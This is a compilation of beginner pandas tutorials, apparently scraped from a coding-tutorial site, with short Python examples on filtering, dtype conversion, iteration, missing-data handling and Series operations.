    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # using greater than operator for filtering of data
    print(data['Age'] > 25)

    Output: 
     

      
    Masking data based on index value : 
    In a dataframe we can filter a data based on a column value in order to filter data, we can create a mask based on the index values using different operators like ==, >, <, etc… . To download “nba1.1” CSV file click here.
    Code #1: 
     

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["BCA", "BCA", "M.Tech", "BCA"],
            'score':[90, 40, 80, 98]}
      
     
    df = pd.DataFrame(dict, index = [0, 1, 2, 3])
     
    mask = df.index == 0
     
    print(df[mask])

    Output: 
     

    Code #2: 
     

    Python3




    # importing pandas package
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba1.1.csv")
     
    # giving a index to a dataframe
    df = pd.DataFrame(data, index = [0, 1, 2, 3, 4, 5, 6,
                                     7, 8, 9, 10, 11, 12])
     
    # filtering data on index value
    mask = df.index > 7
     
    df[mask]

    Output: 
     

     


    My Personal Notes arrow_drop_up

    Conversion Functions in Pandas DataFrame

    Improve Article
    Save Article
    Like Article
    • Last Updated : 25 Jul, 2019

    Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. Pandas is one of those packages and makes importing and analyzing data much easier. In this article, we are using “nba.csv” file to download the CSV, click here.

    Cast a pandas object to a specified dtype

    DataFrame.astype() function is used to cast a pandas object to a specified dtype. astype() function also provides the capability to convert any suitable existing column to categorical type.

    Code #1: Convert the Weight column data type.




    # importing pandas as pd
    import pandas as pd
      
    # Making data frame from the csv file
    df = pd.read_csv("nba.csv")
      
    # Printing the first 10 rows of 
    # the data frame for visualization
      
    df[:10]

    As the data have some “nan” values so, to avoid any error we will drop all the rows containing any nan values.




    # drop all those rows which 
    # have any 'nan' value in it.
    df.dropna(inplace = True)




    # let's find out the data type of Weight column
    before = type(df.Weight[0])
      
    # Now we will convert it into 'int64' type.
    df.Weight = df.We<strong>ight.astype('int64')
      
    # let's find out the data type after casting
    after = type(df.Weight[0])
      
    # print the value of before
    before
      
    # print the value of after
    after

    Output:




    # print the data frame and see
    # what it looks like after the change
    df

     

    Infer better data type for input object column

    DataFrame.infer_objects() function attempts to infer better data type for input object column. This function attempts soft conversion of object-dtyped columns, leaving non-object and unconvertible columns unchanged. The inference rules are the same as during normal Series/DataFrame construction.

    Code #1: Use infer_objects() function to infer better data type.




    # importing pandas as pd
    import pandas as pd
      
    # Creating the dataframe 
    df = pd.DataFrame({"A":["sofia", 5, 8, 11, 100],
                       "B":[2, 8, 77, 4, 11],
                       "C":["amy", 11, 4, 6, 9]})
      
    # Print the dataframe
    print(df)

    Output :

    Let’s see the dtype (data type) of each column in the dataframe.




    # to print the basic info
    df.info()

    As we can see in the output, first and third column is of object type. whereas the second column is of int64 type. Now slice the dataframe and create a new dataframe from it.




    # slice from the 1st row till end
    df_new = df[1:]
      
    # Let's print the new data frame
    df_new
      
    # Now let's print the data type of the columns
    df_new.info()

    Output :

    As we can see in the output, column “A” and “C” are of object type even though they contain integer value. So, let’s try the infer_objects() function.




    # applying infer_objects() function.
    df_new = df_new.infer_objects()
      
    # Print the dtype after applying the function
    df_new.info()

    Output :

    Now, if we look at the dtype of each column, we can see that the column “A” and “C” are now of int64 type.
     

    Detect missing values

    DataFrame.isna() function is used to detect missing values. It return a boolean same-sized object indicating if the values are NA. NA values, such as None or numpy.NaN, gets mapped to True values. Everything else gets mapped to False values. Characters such as empty strings ” or numpy.inf are not considered NA values (unless you set pandas.options.mode.use_inf_as_na = True).

    Code #1: Use isna() function to detect the missing values in a dataframe.




    # importing pandas as pd
    import pandas as pd
      
    # Creating the dataframe 
    df = pd.read_csv("nba.csv")
      
    # Print the dataframe
    df

    Lets use the isna() function to detect the missing values.




    # detect the missing values
    df.isna()

    Output :

    In the output, cells corresponding to the missing values contains true value else false.
     

    Detecting existing/non-missing values

    DataFrame.notna() function detects existing/ non-missing values in the dataframe. The function returns a boolean object having the same size as that of the object on which it is applied, indicating whether each individual value is a na value or not. All of the non-missing values gets mapped to true and missing values get mapped to false.

    Code #1: Use notna() function to find all the non-missing value in the dataframe.




    # importing pandas as pd
    import pandas as pd
      
    # Creating the first dataframe 
    df = pd.DataFrame({"A":[14, 4, 5, 4, 1],
                       "B":[5, 2, 54, 3, 2], 
                       "C":[20, 20, 7, 3, 8],
                       "D":[14, 3, 6, 2, 6]})
      
    # Print the dataframe
    print(df)

    Let’s use the dataframe.notna() function to find all the non-missing values in the dataframe.




    # find non-na values
    df.notna()

    Output :

    As we can see in the output, all the non-missing values in the dataframe has been mapped to true. There is no false value as there is no missing value in the dataframe.
     

    Methods for conversion in DataFrame

    FunctionDescription
    DataFrame.convert_objects()Attempt to infer better dtype for object columns.
    DataFrame.copy()Return a copy of this object’s indices and data.
    DataFrame.bool()Return the bool of a single element PandasObject.

    My Personal Notes arrow_drop_up

    Iterating over rows and columns in Pandas DataFrame

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 29 Sep, 2021

    Iteration is a general term for taking each item of something, one after another. Pandas DataFrame consists of rows and columns so, in order to iterate over dataframe, we have to iterate a dataframe like a dictionary. In a dictionary, we iterate over the keys of the object in the same way we have to iterate in dataframe.

    In this article, we are using “nba.csv” file to download the CSV, click here.
    In Pandas Dataframe we can iterate an element in two ways: 

    Iterating over rows :

    In order to iterate over rows, we can use three function iteritems(), iterrows(), itertuples() . These three function will help in iteration over rows.  

    Iteration over rows using iterrows()

    In order to iterate over rows, we apply a iterrows() function this function returns each index value along with a series containing the data in each row.

    Code #1:

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe from a dictionary
    df = pd.DataFrame(dict)
     
    print(df)


    Now we apply iterrows() function in order to get a each element of rows. 

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe from a dictionary
    df = pd.DataFrame(dict)
     
    # iterating over rows using iterrows() function
    for i, j in df.iterrows():
        print(i, j)
        print()

    Output: 

    Code #2: 

    Python




    # importing pandas module
    import pandas as pd
        
    # making data frame from csv file
    data = pd.read_csv("nba.csv")
     
    # for data visualization we filter first 3 datasets
    data.head(3)

    Now we apply a iterrows to get each element of rows in dataframe 

    Python




    # importing pandas module
    import pandas as pd
        
    # making data frame from csv file
    data = pd.read_csv("nba.csv")
     
    for i, j in data.iterrows():
        print(i, j)
        print()

    Output: 

    Iteration over rows using iteritems()

    In order to iterate over rows, we use iteritems() function this function iterates over each column as key, value pair with the label as key, and column value as a Series object.

    Code #1:

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe from a dictionary
    df = pd.DataFrame(dict)
     
    print(df)


    Now we apply a iteritems() function in order to retrieve an rows of dataframe. 

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe from a dictionary
    df = pd.DataFrame(dict)
     
    # using iteritems() function to retrieve rows
    for key, value in df.iteritems():
        print(key, value)
        print()

    Output: 
     

    Code #2: 

    Python




    # importing pandas module
    import pandas as pd
        
    # making data frame from csv file
    data = pd.read_csv("nba.csv")
     
    # for data visualization we filter first 3 datasets
    data.head(3)

    Output: 

    Now we apply a iteritems() in order to retrieve rows from a dataframe  

    Python




    # importing pandas module
    import pandas as pd
        
    # making data frame from csv file
    data = pd.read_csv("nba.csv")
     
    for key, value in data.iteritems():
        print(key, value)
        print()

    Output: 

    Iteration over rows using itertuples()

    In order to iterate over rows, we apply a function itertuples() this function return a tuple for each row in the DataFrame. The first element of the tuple will be the row’s corresponding index value, while the remaining values are the row values.

    Code #1:

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe from a dictionary
    df = pd.DataFrame(dict)
     
    print(df)


    Now we apply a itertuples() function inorder to get tuple for each row

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
     
    # using a itertuples()
    for i in df.itertuples():
        print(i)

    Output: 

    Code #2: 

    Python




    # importing pandas module
    import pandas as pd
        
    # making data frame from csv file
    data = pd.read_csv("nba.csv")
     
    # for data visualization we filter first 3 datasets
    data.head(3)

    Now we apply an itertuples() to get atuple of each rows 

    Python




    # importing pandas module
    import pandas as pd
        
    # making data frame from csv file
    data = pd.read_csv("nba.csv")
     
    for i in data.itertuples():
        print(i)

    Output: 

    Iterating over Columns :

    In order to iterate over columns, we need to create a list of dataframe columns and then iterating through that list to pull out the dataframe columns.

    Code #1:

    Python3




    # importing pandas as pd
    import pandas as pd
       
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
      
    # creating a dataframe from a dictionary
    df = pd.DataFrame(dict)
     
    print(df)


    Now we iterate through columns in order to iterate through columns we first create a list of dataframe columns and then iterate through list. 

    Python




    # creating a list of dataframe columns
    columns = list(df)
     
    for i in columns:
     
        # printing the third element of the column
        print (df[i][2])

    Output: 

    Code #2: 

    Python




    # importing pandas module
    import pandas as pd
        
    # making data frame from csv file
    data = pd.read_csv("nba.csv")
     
    # for data visualization we filter first 3 datasets
     col = data.head(3)
     
    col

    Now we iterate over columns in CSV file in order to iterate over columns we create a list of dataframe columns and iterate over list 

    Python




    # creating a list of dataframe columns
    clmn = list(col)
     
    for i in clmn:
        # printing a third element of column
        print(col[i][2])

    Output: 

     


    My Personal Notes arrow_drop_up

    Working with Missing Data in Pandas

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 20 May, 2021

    Missing Data can occur when no information is provided for one or more items or for a whole unit. Missing Data is a very big problem in a real-life scenarios. Missing Data can also refer to as NA(Not Available) values in pandas. In DataFrame sometimes many datasets simply arrive with missing data, either because it exists and was not collected or it never existed. For Example, Suppose different users being surveyed may choose not to share their income, some users may choose not to share the address in this way many datasets went missing.

    In Pandas missing data is represented by two value:

    Pandas treat None and NaN as essentially interchangeable for indicating missing or null values. To facilitate this convention, there are several useful functions for detecting, removing, and replacing null values in Pandas DataFrame :

    In this article we are using CSV file, to download the CSV file used, Click Here.

    Checking for missing values using isnull() and notnull()

    In order to check missing values in Pandas DataFrame, we use a function isnull() and notnull(). Both function help in checking whether a value is NaN or not. These function can also be used in Pandas Series in order to find null values in a series.

    Checking for missing values using isnull()

    In order to check null values in Pandas DataFrame, we use isnull() function this function return dataframe of Boolean values which are True for NaN values.

    Code #1:




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, 45, 56, np.nan],
            'Third Score':[np.nan, 40, 80, 98]}
      
    # creating a dataframe from list
    df = pd.DataFrame(dict)
      
    # using isnull() function  
    df.isnull()

    Output:

     
    Code #2:




    # importing pandas package 
    import pandas as pd 
        
    # making data frame from csv file 
    data = pd.read_csv("employees.csv"
        
    # creating bool series True for NaN values 
    bool_series = pd.isnull(data["Gender"]) 
        
    # filtering data 
    # displaying data only with Gender = NaN 
    data[bool_series] 

    Output:
    As shown in the output image, only the rows having Gender = NULL are displayed.

     

    Checking for missing values using notnull()

    In order to check null values in Pandas Dataframe, we use notnull() function this function return dataframe of Boolean values which are False for NaN values.

    Code #3:




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, 45, 56, np.nan],
            'Third Score':[np.nan, 40, 80, 98]}
      
    # creating a dataframe using dictionary
    df = pd.DataFrame(dict)
      
    # using notnull() function 
    df.notnull()

    Output:

     
    Code #4:




    # importing pandas package 
    import pandas as pd 
        
    # making data frame from csv file 
    data = pd.read_csv("employees.csv"
        
    # creating bool series True for NaN values 
    bool_series = pd.notnull(data["Gender"]) 
        
    # filtering data 
    # displayind data only with Gender = Not NaN 
    data[bool_series] 

    Output:
    As shown in the output image, only the rows having Gender = NOT NULL are displayed.

     

    Filling missing values using fillna(), replace() and interpolate()

    In order to fill null values in a datasets, we use fillna(), replace() and interpolate() function these function replace NaN values with some value of their own. All these function help in filling a null values in datasets of a DataFrame. Interpolate() function is basically used to fill NA values in the dataframe but it uses various interpolation technique to fill the missing values rather than hard-coding the value.

    Code #1: Filling null values with a single value




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, 45, 56, np.nan],
            'Third Score':[np.nan, 40, 80, 98]}
      
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
      
    # filling missing value using fillna()  
    df.fillna(0)

    Output:

     
    Code #2: Filling null values with the previous ones




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, 45, 56, np.nan],
            'Third Score':[np.nan, 40, 80, 98]}
      
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
      
    # filling a missing value with
    # previous ones  
    df.fillna(method ='pad')

    Output:

     
    Code #3: Filling null value with the next ones




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, 45, 56, np.nan],
            'Third Score':[np.nan, 40, 80, 98]}
      
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
      
    # filling  null value using fillna() function  
    df.fillna(method ='bfill')

    Output:

     
    Code #4: Filling null values in CSV File




    # importing pandas package 
    import pandas as pd 
        
    # making data frame from csv file 
    data = pd.read_csv("employees.csv")
      
    # Printing the first 10 to 24 rows of
    # the data frame for visualization   
    data[10:25]


    Now we are going to fill all the null values in Gender column with “No Gender”




    # importing pandas package 
    import pandas as pd 
        
    # making data frame from csv file 
    data = pd.read_csv("employees.csv"
      
    # filling a null values using fillna() 
    data["Gender"].fillna("No Gender", inplace = True
      
    data

    Output:

    Code #5: Filling a null values using replace() method




    # importing pandas package 
    import pandas as pd 
        
    # making data frame from csv file 
    data = pd.read_csv("employees.csv")
      
    # Printing the first 10 to 24 rows of
    # the data frame for visualization   
    data[10:25]

    Output:

    Now we are going to replace the all Nan value in the data frame with -99 value.




    # importing pandas package 
    import pandas as pd 
        
    # making data frame from csv file 
    data = pd.read_csv("employees.csv"
        
    # will replace  Nan value in dataframe with value -99  
    data.replace(to_replace = np.nan, value = -99

    Output:

     
    Code #6: Using interpolate() function to fill the missing values using linear method.




    # importing pandas as pd 
    import pandas as pd 
        
    # Creating the dataframe  
    df = pd.DataFrame({"A":[12, 4, 5, None, 1], 
                       "B":[None, 2, 54, 3, None], 
                       "C":[20, 16, None, 3, 8], 
                       "D":[14, 3, None, None, 6]}) 
        
    # Print the dataframe 
    df 


    Let’s interpolate the missing values using Linear method. Note that Linear method ignore the index and treat the values as equally spaced.




    # to interpolate the missing values 
    df.interpolate(method ='linear', limit_direction ='forward')

    Output:

    As we can see the output, values in the first row could not get filled as the direction of filling of values is forward and there is no previous value which could have been used in interpolation.
     

    Dropping missing values using dropna()

    In order to drop a null values from a dataframe, we used dropna() function this function drop Rows/Columns of datasets with Null values in different ways.

    Code #1: Dropping rows with at least 1 null value.




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, 40, 80, 98],
            'Fourth Score':[np.nan, np.nan, np.nan, 65]}
      
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
        
    df


    Now we drop rows with at least one Nan value (Null value)




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, 40, 80, 98],
            'Fourth Score':[np.nan, np.nan, np.nan, 65]}
      
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
      
    # using dropna() function  
    df.dropna()

    Output:

    Code #2: Dropping rows if all values in that row are missing.




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, np.nan, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, np.nan, 80, 98],
            'Fourth Score':[np.nan, np.nan, np.nan, 65]}
      
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
        
    df


    Now we drop a rows whose all data is missing or contain null values(NaN)




    # importing pandas as pd
    import pandas as pd
      
    # importing numpy as np
    import numpy as np
      
    # dictionary of lists
    dict = {'First Score':[100, np.nan, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, np.nan, 80, 98],
            'Fourth Score':[np.nan, np.nan, np.nan, 65]}
      
    df = pd.DataFrame(dict)
      
    # using dropna() function    
    df.dropna(how = 'all')

    Output:

    Code #3: Dropping columns with at least 1 null value.




    # importing pandas as pd
    import pandas as pd
       
    # importing numpy as np
    import numpy as np
       
    # dictionary of lists
    dict = {'First Score':[100, np.nan, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, np.nan, 80, 98],
            'Fourth Score':[60, 67, 68, 65]}
      
    # creating a dataframe from dictionary 
    df = pd.DataFrame(dict)
         
    df


    Now we drop a columns which have at least 1 missing values




    # importing pandas as pd
    import pandas as pd
       
    # importing numpy as np
    import numpy as np
       
    # dictionary of lists
    dict = {'First Score':[100, np.nan, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, np.nan, 80, 98],
            'Fourth Score':[60, 67, 68, 65]}
      
    # creating a dataframe from dictionary  
    df = pd.DataFrame(dict)
      
    # using dropna() function     
    df.dropna(axis = 1)

    Output :

     
    Code #4: Dropping Rows with at least 1 null value in CSV file




    # importing pandas module 
    import pandas as pd 
        
    # making data frame from csv file 
    data = pd.read_csv("employees.csv"
        
    # making new data frame with dropped NA values 
    new_data = data.dropna(axis = 0, how ='any'
        
    new_data

    Output:

    Now we compare sizes of data frames so that we can come to know how many rows had at least 1 Null value




    print("Old data frame length:", len(data))
    print("New data frame length:", len(new_data)) 
    print("Number of rows with at least 1 NA value: ", (len(data)-len(new_data)))

    Output :

    Old data frame length: 1000
    New data frame length: 764
    Number of rows with at least 1 NA value:  236
    

    Since the difference is 236, there were 236 rows which had at least 1 Null value in any column.


    My Personal Notes arrow_drop_up

    Python | Pandas Series

    • Last Updated : 17 Jan, 2019

    Pandas Series is a one-dimensional labeled array capable of holding data of any type (integer, string, float, python objects, etc.). The axis labels are collectively called index. Pandas Series is nothing but a column in an excel sheet.
    Labels need not be unique but must be a hashable type. The object supports both integer and label-based indexing and provides a host of methods for performing operations involving the index.

    In this article, we are using nba.csv file.

    We will get a brief insight on all these basic operations which can be performed on Pandas Series :

    Creating a Pandas Series

    In the real world, a Pandas Series will be created by loading the datasets from existing storage, storage can be SQL Database, CSV file, and Excel file. Pandas Series can be created from the lists, dictionary, and from a scalar value etc. Series can be created in different ways, here are some ways by which we create a series:

    Creating a series from array: In order to create a series from array, we have to import a numpy module and have to use array() function.

    
    # import pandas as pd
    import pandas as pd
    
    # import numpy as np
    import numpy as np
    
    # simple array
    data = np.array(['g','e','e','k','s'])
    
    ser = pd.Series(data)
    print(ser)
    
    

    Output :


     
    Creating a series from Lists:
    In order to create a series from list, we have to first create a list after that we can create a series from list.

    
    import pandas as pd
    
    # a simple list
    list = ['g', 'e', 'e', 'k', 's']
     
    # create series form a list
    ser = pd.Series(list)
    print(ser)
    
    

    Output :


    For more details refer to Creating a Pandas Series
     

    Accessing element of Series

    There are two ways through which we can access element of series, they are :

    • Accessing Element from Series with Position
    • Accessing Element Using Label (index)

    Accessing Element from Series with Position : In order to access the series element refers to the index number. Use the index operator [ ] to access an element in a series. The index must be an integer. In order to access multiple elements from a series, we use Slice operation.

    Accessing first 5 elements of Series

    
    # import pandas and numpy 
    import pandas as pd
    import numpy as np
    
    # creating simple array
    data = np.array(['g','e','e','k','s','f', 'o','r','g','e','e','k','s'])
    ser = pd.Series(data)
     
     
    #retrieve the first element
    print(ser[:5])
    
    

    Output :

     
    Accessing Element Using Label (index) :
    In order to access an element from series, we have to set values by index label. A Series is like a fixed-size dictionary in that you can get and set values by index label.

    Accessing a single element using index label

    
    # import pandas and numpy 
    import pandas as pd
    import numpy as np
    
    # creating simple array
    data = np.array(['g','e','e','k','s','f', 'o','r','g','e','e','k','s'])
    ser = pd.Series(data,index=[10,11,12,13,14,15,16,17,18,19,20,21,22])
     
     
    # accessing a element using index element
    print(ser[16])
    
    

    Output :

    o
    

    For more details refer to Accessing element of Series
     

    Indexing and Selecting Data in Series

    Indexing in pandas means simply selecting particular data from a Series. Indexing could mean selecting all the data, some of the data from particular columns. Indexing can also be known as Subset Selection.

    Indexing a Series using indexing operator [] :
    Indexing operator is used to refer to the square brackets following an object. The .loc and .iloc indexers also use the indexing operator to make selections. In this indexing operator to refer to df[ ].

    # importing pandas module  
    import pandas as pd  
        
    # making data frame  
    df = pd.read_csv("nba.csv")  
      
    ser = pd.Series(df['Name']) 
    data = ser.head(10)
    data 
    


    Now we access the element of series using index operator [ ].

    # using indexing operator
    data[3:6] 
    

    Output :

     
    Indexing a Series using .loc[ ] :
    This function selects data by refering the explicit index . The df.loc indexer selects data in a different way than just the indexing operator. It can select subsets of data.

    # importing pandas module  
    import pandas as pd  
        
    # making data frame  
    df = pd.read_csv("nba.csv")  
      
    ser = pd.Series(df['Name']) 
    data = ser.head(10)
    data 
    


    Now we access the element of series using .loc[] function.

    # using .loc[] function
    data.loc[3:6]
    

    Output :

     
    Indexing a Series using .iloc[ ] :
    This function allows us to retrieve data by position. In order to do that, we’ll need to specify the positions of the data that we want. The df.iloc indexer is very similar to df.loc but only uses integer locations to make its selections.

    # importing pandas module  
    import pandas as pd  
        
    # making data frame  
    df = pd.read_csv("nba.csv")  
      
    ser = pd.Series(df['Name']) 
    data = ser.head(10)
    data 
    


    Now we access the element of Series using .iloc[] function.

    # using .iloc[] function
    data.iloc[3:6]
    

    Output :

     

    Binary Operation on Series

    We can perform binary operation on series like addition, subtraction and many other operation. In order to perform binary operation on series we have to use some function like .add(),.sub() etc..
    Code #1:

    # importing pandas module  
    import pandas as pd  
    
    # creating a series
    data = pd.Series([5, 2, 3,7], index=['a', 'b', 'c', 'd'])
    
    # creating a series
    data1 = pd.Series([1, 6, 4, 9], index=['a', 'b', 'd', 'e'])
    
    print(data, "\n\n", data1)
    


    Now we add two series using .add() function.

    # adding two series using
    # .add
    data.add(data1, fill_value=0)
    

    Output :

    Code #2:

    # importing pandas module  
    import pandas as pd  
    
    # creating a series
    data = pd.Series([5, 2, 3,7], index=['a', 'b', 'c', 'd'])
    
    # creating a series
    data1 = pd.Series([1, 6, 4, 9], index=['a', 'b', 'd', 'e'])
    
    print(data, "\n\n", data1)
    


    Now we subtract two series using .sub function.

    # subtracting two series using
    # .sub
    data.sub(data1, fill_value=0)
    

    Output :

    For more details refer to Binary operation methods on series
     

    Conversion Operation on Series

    In conversion operation we perform various operation like changing datatype of series, changing a series to list etc. In order to perform conversion operation we have various function which help in conversion like .astype(), .tolist() etc.
    Code #1:

    # Python program using astype
    # to convert a datatype of series
    
    # importing pandas module  
    import pandas as pd 
      
    # reading csv file from url  
    data = pd.read_csv("nba.csv") 
       
    # dropping null value columns to avoid errors 
    data.dropna(inplace = True) 
      
    # storing dtype before converting 
    before = data.dtypes 
      
    # converting dtypes using astype 
    data["Salary"]= data["Salary"].astype(int) 
    data["Number"]= data["Number"].astype(str) 
      
    # storing dtype after converting 
    after = data.dtypes 
      
    # printing to compare 
    print("BEFORE CONVERSION\n", before, "\n") 
    print("AFTER CONVERSION\n", after, "\n") 
    

    Output :

     
    Code #2:

    # Python program converting
    # a series into list
    
    # importing pandas module  
    import pandas as pd  
      
    # importing regex module 
    import re 
        
    # making data frame  
    data = pd.read_csv("nba.csv")  
        
    # removing null values to avoid errors  
    data.dropna(inplace = True)  
      
    # storing dtype before operation 
    dtype_before = type(data["Salary"]) 
      
    # converting to list 
    salary_list = data["Salary"].tolist() 
      
    # storing dtype after operation 
    dtype_after = type(salary_list) 
      
    # printing dtype 
    print("Data type before converting = {}\nData type after converting = {}"
          .format(dtype_before, dtype_after)) 
      
    # displaying list 
    salary_list 
    
    

    Output :

    Binary operation methods on series:

    FunctionDescription
    add()Method is used to add series or list like objects with same length to the caller series
    sub()Method is used to subtract series or list like objects with same length from the caller series
    mul()Method is used to multiply series or list like objects with same length with the caller series
    div()Method is used to divide series or list like objects with same length by the caller series
    sum()Returns the sum of the values for the requested axis
    prod()Returns the product of the values for the requested axis
    mean()Returns the mean of the values for the requested axis
    pow()Method is used to put each element of passed series as exponential power of caller series and returned the results
    abs()Method is used to get the absolute numeric value of each element in Series/DataFrame
    cov()Method is used to find covariance of two series

     
    Pandas series method:

    FunctionDescription
    Series()A pandas Series can be created with the Series() constructor method. This constructor method accepts a variety of inputs
    combine_first()Method is used to combine two series into one
    count()Returns number of non-NA/null observations in the Series
    size()Returns the number of elements in the underlying data
    name()Method allows to give a name to a Series object, i.e. to the column
    is_unique()Method returns boolean if values in the object are unique
    idxmax()Method to extract the index positions of the highest values in a Series
    idxmin()Method to extract the index positions of the lowest values in a Series
    sort_values()Method is called on a Series to sort the values in ascending or descending order
    sort_index()Method is called on a pandas Series to sort it by the index instead of its values
    head()Method is used to return a specified number of rows from the beginning of a Series. The method returns a brand new Series
    tail()Method is used to return a specified number of rows from the end of a Series. The method returns a brand new Series
    le()Used to compare every element of Caller series with passed series.It returns True for every element which is Less than or Equal to the element in passed series
    ne()Used to compare every element of Caller series with passed series. It returns True for every element which is Not Equal to the element in passed series
    ge()Used to compare every element of Caller series with passed series. It returns True for every element which is Greater than or Equal to the element in passed series
    eq()Used to compare every element of Caller series with passed series. It returns True for every element which is Equal to the element in passed series
    gt()Used to compare two series and return Boolean value for every respective element
    lt()Used to compare two series and return Boolean value for every respective element
    clip()Used to clip value below and above to passed Least and Max value
    clip_lower()Used to clip values below a passed least value
    clip_upper()Used to clip values above a passed maximum value
    astype()Method is used to change data type of a series
    tolist()Method is used to convert a series to list
    get()Method is called on a Series to extract values from a Series. This is alternative syntax to the traditional bracket syntax
    unique()Pandas unique() is used to see the unique values in a particular column
    nunique()Pandas nunique() is used to get a count of unique values
    value_counts()Method to count the number of the times each unique value occurs in a Series
    factorize()Method helps to get the numeric representation of an array by identifying distinct values
    map()Method to tie together the values from one object to another
    between()Pandas between() method is used on series to check which values lie between first and second argument
    apply()Method is called and feeded a Python function as an argument to use the function on every Series value. This method is helpful for executing custom operations that are not included in pandas or numpy

    My Personal Notes arrow_drop_up

    Data analysis using Pandas

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 15 Oct, 2020

    Pandas is the most popular python library that is used for data analysis. It provides highly optimized performance with back-end source code is purely written in C or Python.

    We can analyze data in pandas with:
    
    
    1. Series
    2. DataFrames

    Series:

    Series is one dimensional(1-D) array defined in pandas that can be used to store any data type.

    Code #1: Creating Series




    # Program to create series
      
    # Import Panda Library
    import pandas as pd  
      
    # Create series with Data, and Index
    a = pd.Series(Data, index = Index)  

    Here, Data can be:

    1. A Scalar value which can be integerValue, string
    2. A Python Dictionary which can be Key, Value pair
    3. A Ndarray

    Note: Index by default is from 0, 1, 2, …(n-1) where n is length of data.
     
    Code #2: When Data contains scalar values




    # Program to Create series with scalar values 
      
    # Numeric data
    Data =[1, 3, 4, 5, 6, 2, 9]  
      
    # Creating series with default index values
    s = pd.Series(Data)    
      
    # predefined index values
    Index =['a', 'b', 'c', 'd', 'e', 'f', 'g'
      
    # Creating series with predefined index values
    si = pd.Series(Data, Index) 

    Output:

    Scalar Data with default Index

    Scalar Data with Index

     
    Code #3: When Data contains Dictionary




    # Program to Create Dictionary series
    dictionary ={'a':1, 'b':2, 'c':3, 'd':4, 'e':5
      
    # Creating series of Dictionary type
    sd = pd.Series(dictionary) 

    Output:

    Dictionary type data

     

    Code #4:When Data contains Ndarray




    # Program to Create ndarray series
      
    # Defining 2darray
    Data =[[2, 3, 4], [5, 6, 7]]  
      
    # Creating series of 2darray
    snd = pd.Series(Data)    

    Output:

    Data as Ndarray

     

    DataFrames:

    DataFrames is two-dimensional(2-D) data structure defined in pandas which consists of rows and columns.

    Code #1: Creation of DataFrame




    # Program to Create DataFrame
      
    # Import Library
    import pandas as pd   
      
    # Create DataFrame with Data
    a = pd.DataFrame(Data)  

    Here, Data can be:

